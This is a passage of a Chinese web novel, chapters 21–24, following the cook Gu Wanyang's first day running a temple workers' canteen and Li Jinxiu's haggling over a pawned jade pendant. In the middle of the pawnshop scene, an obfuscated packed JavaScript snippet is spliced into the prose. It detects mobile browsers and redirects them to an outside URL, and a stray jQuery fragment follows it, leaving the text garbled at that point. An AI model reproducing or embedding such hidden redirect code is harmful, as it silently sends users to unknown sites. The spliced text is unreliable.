“诶，来了。”堂内一个声音传来，紧接着跑出来一个二十出头的年轻小伙子。 顾宛央看他身穿宽大围裙、头上裹着头巾，便知他应该就是那位帮厨。 “这是刘大厨的徒弟尹多小师傅，跟着刘大厨在公厨好些年了，对膳堂很熟悉，顾姑娘有什么需要了解的，尽管找他就行。”徐工师介绍道。 尹多目光转向顾宛央，不由脱口而出：“徐工师，这就是来暂替我师父的大厨？” “正是，尹多小师傅你带顾姑娘进去吧，我先去忙了。”徐工师交待完，转身就离开了膳堂。 顾宛央行礼目送徐工师离开，对在一旁发愣的尹多说道：“尹多小师傅，劳烦你了。” 尹多眉头微微皱起，嘴上嘀咕：“年纪看着比我还小呢，就能做大厨了？徐工师有点不靠谱了吧。” 虽然他说话声音小，但顾宛央耳聪目明的，也听了个一清二楚，她也不打算为自己争辩什么，只是笑眯眯地对尹多说道：“劳烦小师傅带我熟悉一下膳堂，以及各种物品摆放的位置。” “哦，那你跟我来吧。”尹多嘴上虽然答应了，但听得出来是不情不愿的。 顾宛央也不介意他的态度，反正小桃一会就来了，就算尹多不配合，问题也不大，顾宛央庆幸把小桃带了过来，若是自己一个人，再加上尹多不配合，那估计有很大的影响。 膳堂很大，摆放着饭桌板凳，估计能坐百人左右，穿过膳堂，后方便是厨房，也非常宽敞，居中四个灶台垒砌地整整齐齐，四周摆放着橱柜，各种食材、调味料都整齐有序地摆放，并且有张贴标签，不愧是御厨后人，看这厨房就能感受到刘大厨的专业。 “喏，这就是厨房，我师父把食材调料都归类摆放了，你认字不？”尹多问道。 顾宛央点点头。 “认字就好，我就不用多说了，你自己看就是了。”尹多说道。 “还想劳烦请问，公厨的食材是得自己去市集才买，还是有专门的供货商送来？”顾宛央问道，一般像这种食堂是会有固定供货商的，不然每天这么多的食材要大厨自己采购，那也挺累的。 “有供货商送来，今日的食材，我师父昨日已安排好，等会供货商就会送过来了。”尹多有些不耐，但又不能不作答。 既然有固定供货商，想必是经过刘大厨选择的，顾宛央打算继续采用现有供货商的食材，一是她本就对县城不太熟，正好省却了自己再去寻找供货商的时间，二是自己本就是暂代的，能不改动原有做法的地方尽量不动，把这段时间做完即可。 “请问小师傅，每日用餐的工匠工役人数有多少？”顾宛央不理会尹多的不耐烦，继续问道。 “工匠工役共计32人。” “徐工师已告知我早餐时间，还请问午餐和晚餐的具体时间是在何时？”顾宛央继续问道。 “午餐是在午时中，晚餐则是酉时中。” “厨师是否只需负责做饭？洗碗打扫卫生有专人做吗？” “厨师只负责做饭，其他事情都是帮厨做。” 恩，所以配了两个帮厨，帮厨也相当于要做一部分杂工的事情了，不然洗碗打扫卫生还得要厨师来的话，那就比较累了。顾宛央正想开口继续问，尹多突然捂着肚子痛苦地说的：“哎哟，我肚子疼，得去趟茅房。” 说完，还没等顾宛央有所反应，尹多便捂着肚子急匆匆地跑了出去。见尹多跑了，顾宛央也只能自己在厨房熟悉环境，做些准备工作，等供货商把食材送来就可以马上开工了。 此时，城西村的村口出现了三个身影，刘长生推着一辆板车，小桃在旁边帮着扶住堆得高高的草药，而李瑾修则悠哉地靠坐在板车上，表情惬意地很。 “哎，瑾修哥，你身子坐坐直，你再 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“瑾修小兄弟，你报的这些菜名，我听着都好吃，口水都要流出来了。”刘长生一边用力推着板车，一边笑呵呵地说道。 “恩，都是好吃的。”李瑾修笑着说道。 “瑾修兄弟，你怎么吃过这么多好吃的，真是令人羡慕啊。”刘长生说道。 李瑾修侧身看向正在使劲推车的刘长生，见他双手粗糙布满老茧，手背手腕上还有采药时被划破的伤口，脸上有着饱经风霜的皱纹，却依然憨厚地笑着，突然感觉坐在板车上一点都不香了。 “长生叔，等到了城里，我带你去吃。”李瑾修说道。 “不用不用，你们小孩子喜欢吃好吃的，我这把年纪了，不馋这口。”刘长生赶忙拒绝道。 小桃却在一旁直言道：“我不信你说的这些，能有宛央姐做的好吃！” 李瑾修闻言一愣，心中竟然觉得小桃说的很有道理，但看着小桃不屑的表情，他嘴硬道：“怎么没有，那可是人间美味呢。” “哼。”小桃轻哼一声，没有说话。 李瑾修听得出来小桃那个哼字里有着嘲讽的意味，于是不甘示弱地开口：“你哼什么，我说的可都是大实话。” “那你要是觉得你说的都比宛央姐做的好吃，为什么还死乞白赖地不肯走，硬要跟着宛央姐去县城呐？”小桃反击道。 额......李瑾修手心有些冒汗，这小丫头怎么这么机灵，不但机灵而且嘴毒！ “好吧，宛央做的好吃，最好吃，行了吧。”李瑾修打算投降，万一小丫头去顾宛央那里告个状，估计自己又要被赶了。 “这还差不多，还有啊，你得喊宛央姐，你是她弟弟。”小桃说道。 李瑾修转过身去，不打算再搭话了，他回味了一下昨天的黄颡鱼，不由自主地咽了口水，好吧，他承认，宛央做的东西才是人间美味，就是她每次用的食材都好特别啊，不过，他喜欢！ 21. 第 21 章 “长生叔，前面就快到了呀。”小桃指着眼前的城门，开心地说道。 “是啊，快到了。”刘长生有些气喘地答道。 “我还没进过城呢。”小桃有些兴奋又有些期待。 “这么近的县城你都没来过？”李瑾修也坐直了身子，看向不远处的城门。 “恩，我和爹娘还有阿奶弟弟流浪到这里的时候，就被拦着没让进城，直接给我们带去城西村了。”小桃说道。 “是啊，去年年底大批流民集中到了这里，县衙就在城外拦人，直接送到安置的村里去。”刘长生补充道。 “哦？为何不让你们进城？”李瑾修不解地问道。 “流民人太多不好管控，官府怕放进城会出事，所以索性直接分散了送到安置村中，先让他们安置下来。”刘长生解释道。 “对啊，我们本来先是去京都的，但京都更是不让进，不过还好官府在城外派了人指引，告诉我们哪些县城可以安置，这才辗转到了齐中县。”小桃说道。 李瑾修脸色有些凝重，口中自语：“流民太可怜了。” “还好啦，至少官府肯安置我们，还给我们荒地开垦，还会在流民中征兵和征工役，我阿奶说前朝的流民更可怜，朝廷也不安置，顶多施点粮，流民们就住在破庙破观里或者大街上，不知饿死冻死多少人。”小桃说道。 “小桃说得对，我们算是生在好时候，虽然因为战争或者天灾，不得不离开故土，成了流民，但当今皇上圣明，治理有方，才让我们这些流民有了落脚之地，虽然生活艰难，但总算能堪堪温饱。”刘长生也说道。 李瑾修听得这话，脸色稍稍好转，说道：“长生叔，先带我去当铺。” “行。”刘长生点头答应。 三人一起穿过城门，进了城。 小桃的眼睛都快忙不过来了，街道左右商铺众多，各种商品琳琅满目，还有各种小吃摊，如果不是还有正事，估计她得要每个店铺都逛一遍。 刘长生带着二人来到县城内最大的当铺隆昌号，刘长生看过李瑾修的玉佩，虽然他不懂玉，但也看得出来这是块极品玉佩，小当铺怕是吃不下。 刘长生和小桃一人扶住李瑾修一个胳膊，走了进去。 “三位，有什么需要吗？”隆昌铺的伙计见三人进门，上下打量了一番，语气冷淡地问道。 “我们是来当东西的。”刘长生温和地说道。 “知道你们是来当东西的，难不成你们来当铺吃饭啊？”伙计不耐烦地说道。 “你这人，什么态度啊？有你这么做生意的吗！把你们老板叫出来！”小桃松开李瑾修的胳膊，指着伙计骂道。 李瑾修陡然间没有了小桃的支撑，身子歪了一下，好在刘长生稳稳地扶着他，很快他就调整好了站姿。 伙计见小桃泼辣的样子，一上来又是骂人又是要找老板的，反倒是有些怕了，他挽尊地开口：“这位妹子，你别着急嘛，来来来，请这边坐，要当的东西拿出来我看看。” 伙计把三人请到一旁的柜台前坐下，等着他们把东西拿出来。 李瑾修从怀中掏出玉佩，伙计原本不屑的神色顿时变得惊讶，然后又再次打量了三人一遍，确定他们三人穿着的是破旧衣裳啊！原本以为他们也就当些衣物或者不值钱的玩意，没想到这一掏就掏出了块极品玉佩。 “怎么？你们当铺不收？还是收不起？”李瑾修见伙计愣在那里，冷冷地开口说道。 “啊，不是不是，收，收。”伙计说着就伸出手去接玉佩。 李瑾修拿着玉佩的手一抬，避开伙计的手。 “客官，您这是？” “看你们铺子的规模，也应该算是比较大的了，怎地这点规矩都不懂？”李瑾修嘲讽道。 说完，李瑾修把玉佩放在了柜台上。 伙计反应过来，满脸通红辩解道：“一时忘记了，这点规矩谁还不懂了。” 玉佩是易碎之物，不管是买卖还是当，双方都得等对方放在桌上了再拿，不能直接去接，以防碰瓷。 小桃好奇地看着李瑾修和伙计的对话动作，想问这是什么规矩，又怕暴露自己的无知塌了李瑾修的台，只能强忍着，反正只要那伙计被怼了就行，让他看不起人。 伙计小心翼翼地拿起柜台上的玉佩，仔细地瞧了起来。 见伙计拿着玉佩翻来覆去地瞧，小桃有些忍不住了，问道：“看这么久，你看得懂吗，不懂的话喊你们老板出来。” 小桃本来以为伙计会反驳，没想到他却只是放下玉佩，摸了摸额头上的微汗说道：“您稍等，我喊掌柜的出来。” 小桃愣住了，他啥时候这么听话了。 没多一会，伙计带着一个胖乎乎的中年男人急匆匆跑了出来，一见到三人，那中年男人眼中也充满了疑惑。 “掌柜，就是这三位要当玉佩。”伙计说道。 掌柜对三人拱手道：“请稍等片刻，待我验一下货。” 掌柜掏出一块软布，将玉佩擦拭了一遍，再将玉佩高高举起观察，然后又凑得很近，近距离观察了半晌。 李瑾修端起伙计刚给泡的茶，吹了吹正要喝，就听得掌柜开口道：“这位爷，您这玉佩是从何处得来的？” “祖传的。”李瑾修喝了口茶说道。 “哦？祖传的？”掌柜又上下打量了一遍李瑾修，有些不相信地问道。 “怎么，你这小当铺还管人家的东西是哪里来的？”李瑾修被他的目光搞得也自己打量了自己一番，他顿时明白这当铺的人以貌取人，怀疑他的玉佩不是自己的，于是放下茶杯答道。 “不，不，那倒不管，只是我们店小，有些事还是先问清楚才好。”掌柜忙说道。 “掌柜放心，这块玉佩的确是我自己的，人总会遇到一些意外，所以才会到你们铺子来啊，要是人人都一帆风顺，无病无灾的，你们当铺上哪赚钱去呢？”李瑾修说道。 “得嘞，有您这一句话，那我们就谈谈价格吧。”掌柜听到李瑾修的保证，松了一口气说道，当铺也怕收到来路不正的货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806838|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李瑾修掌心向上，做了个请的姿势，示意掌柜出价。 “爷这块玉佩品相确实是不错，我可以出到五十两银子。”掌柜伸出一只手说道。 刘长生和小桃一听到这个数字，顿时对视了一眼，脸上都是不可置信的表情，还好两人控制着没有发出惊叹的声音。 “掌柜的，我还以为你是懂货的，没想到还是眼太拙，给价这么低。”李瑾修摇着头叹息道。 “六十两，不能再多了。”掌柜脸色有些尴尬，居然被一个年轻人看轻。 “长生叔，我们走吧，这小县城的当铺给不了价，我们去京都当铺，那里大当铺多，掌柜都识货，肯定能给个好价。”李瑾修慢慢站起来，对刘长生说道。 一旁的小桃刚要开口，却被刘长生拉了一把，然后他立马应道：“好的，爷。” 掌柜一看这情形，急的站了起来，开口说道：“一百两，一百两！” 听到掌柜喊的价，李瑾修停下离开的动作，伸出两根修长的手指头，转头看着掌柜的说道：“二百两。” 掌柜一听这个价，汗都下来了，但见李瑾修开口议价了，马上堆笑道：“这位爷说笑了，您看我这铺子，连一百两的当品都没有过，二百两确实难为我们了。” “一百八十两，我也不想为难你们，若是你们收不起，那我们走。”李瑾修说道，作势又要离开。 “别，别走，好商量。”掌柜一咬牙，说道：“一百五十两，再高就真收不了了。” “行，成交。”李瑾修说道。 掌柜见李瑾修答应地这么爽快，顿时有些后悔，但自己已经把说出去了，只能按一百五十两收了。 办完当品手续，李瑾修三人带着银子离开当铺，伙计这才开口：“掌柜，这么高价的当品，咱会亏吗？” “你懂什么，这块玉佩价值少说五百两朝上，遇上有缘人的话上千两也不是不可能，若是他们不来赎当，那我们就赚大发了，不然为何我非要留住他们呢。”掌柜说道。 “那你不怕这玉佩来路不正，若是被官府追查，那不就完蛋了。”伙计心中疑虑不少。 “富贵险中求，不过看这三人的样子，倒的确像是落魄了的富贵之家少爷带着仆人和丫鬟，你看那年轻小伙，气质儒雅气度非凡，虽然衣着破旧但一看就是有钱人家养出来的少爷，这块玉佩应该就是他们祖传的传家宝。”掌柜捋着自己那一撮山羊胡说道。 “那可太好了，看他们的样子，肯定没钱来赎回这块玉佩，掌柜的你真有眼光，这一下就净赚几百两。”伙计崇拜地说道。 “你可且学着点，别一有什么大当品就毛毛躁躁来找我，沉住气，来我们这里的人都是缺钱缺的紧，价格往低了压就对了。”掌柜哼了一声，训道。 “是，是，掌柜，我一定好好跟您学。”伙计殷勤地给掌柜又点烟又倒茶。 当铺门外，小桃也不扶着草药了，双手紧紧抱住装了一百五十两银子的包袱，跟着刘长生和李瑾修往文庙方向走去。 22. 第 22 章 “哎，我说小桃，你帮忙扶着点草药啊，我都靠不了了。”李瑾修直直地坐在板车上，双手紧紧扶着板车边沿，不满地说道。 “一点点路就要到了，你忍一下。”小桃死都不松开抱着包袱的手，说道。 “这点银子，你怕啥，怕丢了还是怕被抢了。”李瑾修不能理解地说道。 “什么这点银子！这可是一百五十两，我从来都没见过这么多银子。”小桃第一句话高声说的，意识到不妥，马上又压低了声音说道。 李瑾修摇头，只能靠自己的手抓好板车边沿了。 “瑾修兄弟，你以前也是不是当过东西啊？”刘长生忍不住开口问道。 “啊？我没当过东西！”李瑾修说道。 “那我看你这么会议价，一点都不怕当铺那些人呢。”刘长生话语中流露出一丝敬佩。 “嗐，那有什么，虽然我不知道能当多少钱，但我知道这玉佩能卖多少钱呐，他们给的价都不到二成，黑的很！”李瑾修说道。 “什么！一百五十两银子只是这块玉佩二成的价？”小桃又在一旁惊呼。 “呀！小桃你冷静点！”李瑾修下意识把脑袋侧了侧，想离小桃的声音远一些。 “啊！那如果不能赎回来这块玉佩，岂不是要被当铺黑掉这么多银子?”刘长生可惜地说道。 “哼，怎会不能赎回？”李瑾修冷哼一声，说道：“当票到期前，我定赎回。” “那就好那就好。”刘长生说道：“不然的话，情愿不去当了。” 李瑾修闻言笑着说道：“如今我身上只有这东西值点钱，不去当点银子回来，怎么给你们付钱呢。” “我们的钱不着急付，等你有钱了再付也可以的啊。”刘长生说道。 李瑾修看着刘长生沧桑但却真诚的脸庞，沉默了一会，说道：“长生叔，你放心，我有办法。” “恩，你若是能赎回来那块玉佩，那就没事了。”刘长生轻舒一口气，看得出来他确实是担心李瑾修亏大了。 “那若是人人都能赎回当品，当铺靠什么赚钱呢？”小桃不解地问道。 “傻丫头，你没看那当票上的利息吗？那可是高利啊！”刘长生说道。 “哦，我不识字，看不懂。”小桃说道。 “当铺最大的利润便是当品不能按期赎回，就像我这块玉佩，如果不能按期赎回，他们便可拿到市场去卖高价，但如果是赎回了，他们还是能在这块玉佩上赚取高额的利息，所以，不管怎么样当铺都能赚钱，赚的还不少。”李瑾修补充道。 “真黑！”小桃说道。 “确实黑，但当铺也给了走投无路的人一点机会，说不定还能翻身，所以这世道也不能少了当铺这样的存在。”刘长生叹了口气说道。 “文庙到了，到了。”李瑾修有些激动地说道。 刘长生的板车停了下来，李瑾修一边挣扎着想下车，一边说道：“长生叔，你就送到这里吧，我和小桃慢慢走进去，小桃，你把我欠的药费诊费银子给长生叔。” “什么？在这里给？这么多人，财不外露你懂不懂！”小桃捂着包袱不肯松手。 “瑾修兄弟，小桃说的有道理，我送你们进去再说吧，也耽误不了多少时间。”刘长生说道。 李瑾修点头重又坐了下来，被刘长生推着进了文庙。 小桃机灵，见着正在忙碌的工匠，打听到了公厨膳堂的位置，没多久三人便找到了膳堂。 膳堂大门开着，里面有说话的声音，小桃侧耳仔细听了一下，听出来有顾宛央的声音，马上冲了进去，喊道：“宛央姐，我们来啦！” 顾宛央正在接收供应商送来的食材，就听见小桃的声音，抬头一看，果然是她，再往大门一瞧，刘长生推着李瑾修也在呢。 “小桃，你们先稍等我一会，马上就好了。”顾宛央说道。 顾宛央指挥着送食材的人把东西都放进厨房，又将刚刚写好的明日食材单子交给供货商，这才顾得上带李瑾修和小桃先去住的地方安置。 在去小院的路上，顾宛央把小桃能做帮厨以及李瑾修能住在这里的情况简单说了一下。 一进小院，小桃便发出惊叹声：“宛央姐，我们是住在这里吗？这条件也太好了吧。” “对，我们这段时间就住在这，我跟你住东厢房，瑾修你就住在西厢房，正屋我们平时就不要进去了。”顾宛央说道。 “好。”李瑾修和小桃同时答道。 “对了，宛央姑娘，玉佩已经当掉了，小桃，把银子拿出来给长生叔和宛央姑娘吧。”李瑾修说道。 小桃把院门一关，这才将手上的包袱打开来，递给顾宛央。 “哦？当了这么多？”顾宛央见到这些银子，也有些惊讶。 “是，这些银子就交给宛央姑娘保管吧，药费诊费食宿费，你来分配就行。”李瑾修说道。 顾宛央并未答话，只是从小桃手上的包袱中挑出几块银子，交到刘长生的手上，说道：“长生叔，这是你的诊费和药费，另外这些银子麻烦你下次回去的时候，带给张婶和桂花婶。” “行。”刘长生收下银子，对顾宛央、李瑾修和小桃说道：“那我先走了，有什么事情的话到城北的同心堂药铺找我，我在那里做工。” 顾宛央把刘长生送出院门外，又从小桃手上的包袱里挑出几块银子，说道：“这是这段时间你的餐费，我就收下来了，剩下的银子你自己保管，接下来的餐费等到月底再结算。” 小桃听到顾宛央的话，赶紧将包袱裹好塞到李瑾修的怀中。 “这......”李瑾修被迫将包袱抱住。 “这什么这，你到了这里还叫宛央姑娘，得叫姐！”小桃说道。 “小桃，扶他进房间休息，我们得赶紧去膳堂做饭了。”顾宛央也无心计较称呼，她心里惦记着时候不早了，该准备午餐了。 “好嘞。”小桃清脆地答应了一声，扶着李瑾修就往西厢房走去。 李瑾修“诶”了两声，拗不过小桃的蛮力，也只能抱着银子乖乖地进屋去了。< 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想好要做什么了以后，顾宛央立马开始准备起来，首先把米饭先蒸上，三十几个人的米饭得蒸满满三大锅才够，还好灶台够多，不会影响出餐速度。 小桃做事情很利落，一大盆的莴苣已经削好皮，等顾宛央吩咐后又开始麻利地将这些莴苣切成丝。 尹多还不见人影，顾宛央把饭上灶蒸后，就开始洗白菜和切白菜，小桃和顾宛央两人各自分工，专注手上的活，等到米饭差不多蒸好的时候，所有主菜和配菜都已经准备好了。 顾宛央看了一下时辰，午时初已经过了，可以开始炒菜了。 小桃眼中有活，菜备好以后就开始烧剩下那个灶台的火，大厨房的锅和灶台比家里的要大很多，好在顾宛央和小桃力气都不小，这倒是难不倒她们。 灶火被小桃烧的旺旺的，顾宛央将油倒入大锅中，油热之后将肉丝先下入锅中煸炒，肉丝事先用料酒酱油腌制过，一下入锅中，肉香味便飘散开来。 等肉丝变色后，顾宛央向锅中倒入大蒜、红辣椒，配料的加入使得肉香味更加浓郁，翻炒几下后，再将切好的莴苣丝全部倒进锅中。 “小桃，大火。”顾宛央吩咐道。 这道菜是小炒，火越旺越好，顾宛央双手执铲，翻动着锅中的肉丝莴苣，在旺火的加持下，莴苣的香味也飘了出来。 顾宛央在翻炒数十下后，加入盐和些许酱油，继续再翻炒几下，马上就将锅中的菜盛入大盆中。 小桃也随时关注着顾宛央的情况，就在她盛菜的档口，将旺火迅速调成小火，以防止没来得及盛出来的菜烧糊了。 莴苣炒肉丝出锅后，紧接着顾宛央开始炒酸辣白菜，这虽然是一道纯素菜，但是做好了也是非常爽口下饭的。 酸辣白菜也是要猛火快炒，在顾宛央的指挥下，小桃又把灶火烧的很旺，油热后先将姜蒜和干辣椒煸出香味，随后将切好的白菜倒入锅中，加入醋、盐调味，快速翻炒入味后，马上盛出来。 两道菜刚刚出锅，膳堂外边便响起了很多人的脚步声，工役们下工了。 23. 第 23 章 今天工役们依旧是准时下工的，早上他们便知刘大厨家中有急事需要离开，会有新的大厨来接替。 “不知道新来的大厨水平怎么样啊？” “那肯定没有刘大厨做饭好吃，刘大厨可是御厨后人呐！” “对，哎，刘大厨偏偏这时候有急事回家，我们好不容易才能在这里做工，吃上他做的饭菜。” “是啊，平时我们哪里有资格吃文庙大厨做的饭菜呢。” “对对，刘大厨可是官府专门请来给学子们做饭的。” “那我们吃了刘大厨做的饭，是不是也算跟学子们有点关系啦，毕竟同吃一锅饭嘛！” “做你的大头梦吧，你看看你身上脏兮兮的，学子们看到你都得绕道走。” “嘿嘿，我就这么一说嘛。” “诶，那不是刘大厨的徒弟尹多吗？他怎么在这里？” 尹多慢吞吞地从侧边走了过来，被一群工役喊住了：“尹多小师傅，你怎么没在膳堂帮忙呢？” “是啊，你去那里了？” “我肚子疼，刚从茅房出来。”尹多见状，捂着肚子说道。 “哎哟，别是吃坏肚子了？去找大夫看看。” “没事没事，拉完就好了。”尹多心虚地摆手道。 “诶，尹多小师傅，今天接替刘大厨的是县里哪个大厨啊？” “什么县里的大厨，是一个年纪比我还小的姑娘，见都没见过的。”尹多一听到工役问是哪个大厨来接替的，气不打一处来。 “啊？一个小姑娘？” “徐工师这是找不着人了吗，早说呢，我把我二舅介绍过来。” “别扯了，你二舅就只做做村里的红事白事酒席，离大厨还有十万八千里远呢！” “那也总比一个小姑娘强吧！” “别是徐工师家的亲戚吧？” “你们别这样说，徐工师做事一向仔细，你们可别小瞧了新来的这位，虽然年纪小，但说不定还真有两下子。” “徐工师就算是找的自家亲戚，那也是人之常情，我们也没说啥呀。” 众人的八卦之心被点燃，这时，一个领头摸样的中年大汉，开口说道：“我说大家伙是不是没搞清楚，我们是来干活赚钱的，只要吃饱了有力气干活就行，居然还挑剔起厨师来了！” “是啊，程匠师说的对，是不是刘大厨把你们的胃口养刁了，还计较起好不好吃来了。”跟在程匠师身边的一个年轻小伙附和道。 程匠师的话让工役们住了嘴，大家虽然不敢对程匠师有所异议，但私下偷偷地吐槽刚刚那个年轻小伙：“这丁阿六仗着是程匠师的徒弟，就敢对我们吆五喝六的，不像话！” “诶，别说了，小心被他听见。” “听见了怕啥，我比他爹年纪还大呢，他敢对我怎么样。” “嘘，轻点，徐工师不是时时都在工事，但程匠师可是每天都在的，县官不如现管，不能得罪他的，就是他徒弟也得罪不起呢。” “算了算了，赶紧去吃饭吧，都快饿死了。” 顾宛央在厨房可不知道工役们一路上这么多的牢骚话，听得膳堂进来了人，她和小桃赶紧将饭菜端了出来。 看到这情形，工役们都愣在门口，虽然知道了是个姑娘，但不知道的是这姑娘看着也不像厨娘啊，长得还怪柔弱好看的，但却能端起一大盆米饭，看上去还丝毫不费力气，还有旁边有个更小的小姑娘，力气也大得很，轻轻松松也能端起这大盆的菜。 “各位干活辛苦了，可以过来打饭了。”顾宛央见一众人站在膳堂门口不过来，微笑着提醒道。 “还愣着干什么，吃饭走啊。”程匠师反应过来，第一个走了过去。 距离饭菜还有好几米的时候，程匠师就闻到了饭菜的香味，干了半天的活了，本来就饿了，现在肚子更是咕咕地叫了起来。 程匠师加快了脚步，快步走到饭菜的面前，深吸了一口气，莴苣的清香味混合着肉香味直直钻入鼻中，程匠师喉结动了一下，说道：“姑娘，帮我打饭。” “好嘞。”小桃见人过来，已经打好了满满一大碗米饭，交给旁边的顾宛央。 顾宛央接过碗，用大勺子把莴苣炒肉丝和酸辣白菜各舀了一勺放到米饭上面，递给了程匠师。 程匠师看着碗面红白绿三种颜色的菜，忍不住咽了口口水，就近找了个座位坐下来，开始吃起来。 翠绿色的莴苣丝入口清脆爽口，虽然肉丝很少，但并不影响这道菜的美味，反而让人觉得莴苣的味道居然胜过了肉丝，而且咸香微辣的口感也非常地下饭，再吃一口酸辣白菜，酸酸辣辣脆脆的，也是下饭好菜。 跟在他身后的丁阿六打饭刚坐下来，程匠师面前的一大碗饭就已经被吃下去一半了。 “师傅，你吃这么快啊，我闻着这菜好香呢，菜色看着也漂亮，就不知道味道好不！”丁阿六喜滋滋地说道。 程匠师没答话，好吃不好吃的，吃了不就知道了嘛！ 丁阿六也不在意师傅的不理会，反正他这个师傅平时话就少又严厉，他也没打算师傅会回答问题。 等到第一口饭菜吃进嘴里，话多的他顿时也不想说话了，明明就是很普通的食材，但却感觉比鸡鸭鱼肉都好吃呢，特别是就着米饭一起吃，怪不得师傅的米饭下去的速度这么快。 就在程匠师和丁阿六享受美味的时候，排队打饭的人群中，又发出阵阵牢骚： “今天的肉怎么这么少啊？” “对啊，就这几根肉丝，以前可没这么少的。” “搞什么啊，我们虽然只要求能吃饱肚子，但也不能把原来的标准降低吧。” 跟在后面的尹多听到牢骚，眼睛一亮，赶忙挤了过去，当他看到两大盆菜的时候，不由地立即指责起来：“是啊，今天的肉怎么这么少？顾姑娘，我师傅定的食材恐怕没这么少吧？” 对于工役的牢骚，顾宛央本想开口解释，但突然听到尹多的声音，她转而对尹多说道：“尹多小师傅，这一个上午你都不在厨房帮厨，这半天的工钱是不是不想要了？” 尹多虽然看不上顾宛央这个大厨，但说到底自己也只是一个帮厨而已，对于厨子来说，厨师的身份就是比帮厨要高。 “我，我这不是肚子疼嘛。”尹多有 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“程匠师，你都吃完了？”有人见着他面前的空碗，惊讶地问道。 “嗯，赶紧吃，吃完继续干活。”程匠师说完，就走出了膳堂。 “来，你的米饭，拿好了，旁边打菜。”小桃利落地打好饭一个一个地递给工役们。 不多一会，膳堂就坐满了吃饭的工役。 本来还在抱怨肉少的人，刚吃上第一口，肚子里的怨气顿时就消了，原本都不抱希望，只求能饱腹就行，但没想到这菜的味道居然这么好吃，不比刘大厨的手艺差，甚至怎么感觉比刘大厨做的还要好吃？ 膳堂从来没有这么安静过，平日里大家边吃边闲聊，今日却是只听见吃饭的声音，偶尔会有人抬头跟正好也抬头的人对视一眼，眼中也尽是不可思议，看样子大家对今日的饭菜很满意。 顾宛央和小桃给工役们打完饭，又打了三碗饭和菜，把在厨房委委屈屈干活的尹多叫了出来，让他吃完饭再干活。 按规矩，厨师和帮厨是跟工役们一起在公厨吃饭的，所以顾宛央他们三人的饭是在公厨吃。 尹多把手擦干净，接过小桃递过来的碗，也不坐在顾宛央和小桃旁边，自己一个人找了个角落的桌子，默默吃起来。 虽然他很想赌气不吃这个看着还没自己大的小姑娘做的饭，但涌上来的饿意让他投了降。 尹多看着色香俱全的饭菜，心里却不肯承认菜做的好，而是想着只是表面做的好而已，还不定多难吃呢！ 可当他把饭菜扒进嘴里的时候，脑中居然闪现“真好吃啊”这样的想法，尹多甩甩头，告诫自己不能就这么轻易评判，于是继续扒了一口饭菜，他的神情变得不一样起来。 莴苣脆爽多汁、肉丝鲜香柔嫩、白菜酸辣可口，尤其在铺在饭面上，米饭与菜混合一起进入口中，多重的口感让口腔得到极大的满足，米饭也变得更加美味起来。 尹多没有其他想法了，只想把这碗饭菜吃光，至于这是谁做出来的，他已经不想去在意了，内心只有两个字“好吃”！ 24. 第 24 章 顾宛央吃饭的速度比平时快了许多，因为她想起来小院里的李瑾修还没有吃饭。公厨的饭菜不能让他吃，她可做不来这占便宜的事情。 顾宛央快速吃完饭，对小桃说道：“小桃，我先回小院，这里剩下的事情就交给你跟尹多了。” “放心吧，宛央姐，你快去，不然瑾修哥要饿扁了。”小桃笑嘻嘻地说道。 顾宛央走到尹多面前，说道：“我先走了，小桃留着帮你一起收拾。” 尹多正吃的香呢，头也没抬地回了一声：“好的好的！” 等顾宛央转身离开后，尹多也后知后觉地发现，自己对这个小姑娘态度咋这么好了。 李瑾修在小院中拄着棍子来回走动，好饿啊，原来饥饿会让人坐立不安，他还从来没挨过饿，就算是摔伤后在顾宛央家里，也是醒来就有饭吃的。 小院门吱呀一声，顾宛央推门而入，李瑾修眼前一亮，拄着棍子往院门口挪了几步，说道：“好饿。” “这不来给你弄吃的了嘛。”顾宛央边说边进了小厨房，她的小推车放那里了。 李瑾修也跟着进来了，眼神期待地看着顾宛央在小推车上翻找。 只见顾宛央翻出来几个肉包子，李瑾修顿时脸垮了下来。 “中午来不及给你做了，吃几个肉包子将就一下，下午我出去买食材还有柴火调料这些东西，以后就在小厨房给你做饭。”顾宛央说道。 李瑾修虽然期待落空，但是强烈的饥饿感由不得他挑剔，他正想接过肉包子的时候，顾宛央却把肉包子放在了一边，将小炉子拎了出来说道：“等会，小炉子里还有些柴火，我给你热一下再吃。” 见马上到手的食物转了个圈又没了，李瑾修只能舔了舔嘴唇，等着肉包子加热。 “你得做好准备，接下来你的用餐时间会比正常的晚，我得把工役们的饭菜做好了，才有时间来给你做饭。”顾宛央一边热包子一边说道。 “行，没问题。”李瑾修答道，三顿都晚点吃的话，饿不着就行，今天是因为早上吃太早了，所以到这个时候就饿了。 顾宛央给李瑾修热好包子，就打算外出采购去，今天第一天很多事情安排好，接下来就不会手忙脚乱了。 小桃在顾宛央出门的时候忙完回来了，缠着她要跟着一起出门，顾宛央见她小脸满是祈求之色，没忍心拒绝，便带着她一起出了门。 跟着顾宛央出门的小桃就像放出笼的小鸟，欢欣雀跃地一路上叽叽喳喳说个不停。 顾宛央从柴火到调味料一一都买齐了，好在小院的小厨房里锅碗瓢盆一应俱全，甚至比她城西村的家中东西还齐全，所以她只需采购易耗品就行了。 这些日子早晨要做点心出去摆摊，需要的柴火食材和调料还不少，顾宛央选定了几家铺子，跟老板约定一个时辰后将货送到文庙，就不需要自己带回去了，只需拎些零散物品回去即可。 在文庙的这些日子早晨的时间紧张，所以顾宛央打算只做肉松饭团这类可以提前做好肉松，只需早上蒸一锅糯米的早点，肉松饭团才刚刚开始卖，大家还都有个新鲜劲，可以继续做些日子，她就先不费劲考虑上新了，她想把重点放在文庙这边，毕竟这是第一次接外头的活，口碑很重要，等文庙公厨这边稳定下来，再上新的品种。 采购完厨房用的物品，顾宛央来到菜市集，中午用肉包子对付了李瑾修，晚上得给他做顿好吃的，反正他的玉佩当了那么多银子，就不用考虑他付不付得起账了。 